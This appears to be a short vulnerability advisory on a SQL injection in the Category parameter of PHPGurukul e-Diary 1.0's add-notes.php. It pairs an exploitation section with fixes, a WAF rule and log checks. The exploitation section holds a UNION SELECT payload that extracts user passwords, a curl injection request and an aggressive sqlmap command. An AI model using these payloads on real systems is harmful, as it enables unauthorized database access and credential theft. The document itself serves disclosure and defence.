How CVE-2025-3188 Works
The vulnerability exists in the `add-notes.php` file of PHPGurukul e-Diary Management System 1.0 due to improper sanitization of the `Category` parameter. Attackers can inject malicious SQL queries through this parameter, leading to unauthorized database access. The application fails to validate user-supplied input before concatenating it into SQL statements, allowing attackers to manipulate queries. Remote exploitation is possible without authentication, enabling data theft, modification, or deletion. The CVSS 4.0 vector (AV:N/AC:L/PR:N/UI:N) confirms network-based attacks with low complexity.
DailyCVE Form
Platform: PHPGurukul e-Diary
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025
What Undercode Say:
Exploitation
1. SQLi Payload Example:
' UNION SELECT username, password FROM users-- -
2. Exploit via cURL:
curl -X POST "http://target.com/add-notes.php" -d "Category=' OR 1=1-- -"
3. Automated Testing with SQLmap:
sqlmap -u "http://target.com/add-notes.php?Category=1" --risk=3 --level=5
Protection
1. Input Sanitization:
$category = mysqli_real_escape_string($conn, $_POST['Category']);
2. Prepared Statements:
$stmt = $conn->prepare("INSERT INTO notes (category) VALUES (?)");
$stmt->bind_param("s", $category);
3. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"';
}
4. Patch Verification:
grep -r "add-notes.php" /var/www/html | grep -i "category"
Analytics
- Impact: Full database compromise.
- Exploitability: High (no auth required).
- Mitigation: Update to patched version or apply code fixes.
Detection
grep -Rn "mysql_query.\$_POST" /path/to/application
Log Analysis
Check for repeated POST requests to `add-notes.php` with unusual `Category` values:
tail -f /var/log/apache2/access.log | grep "add-notes.php"
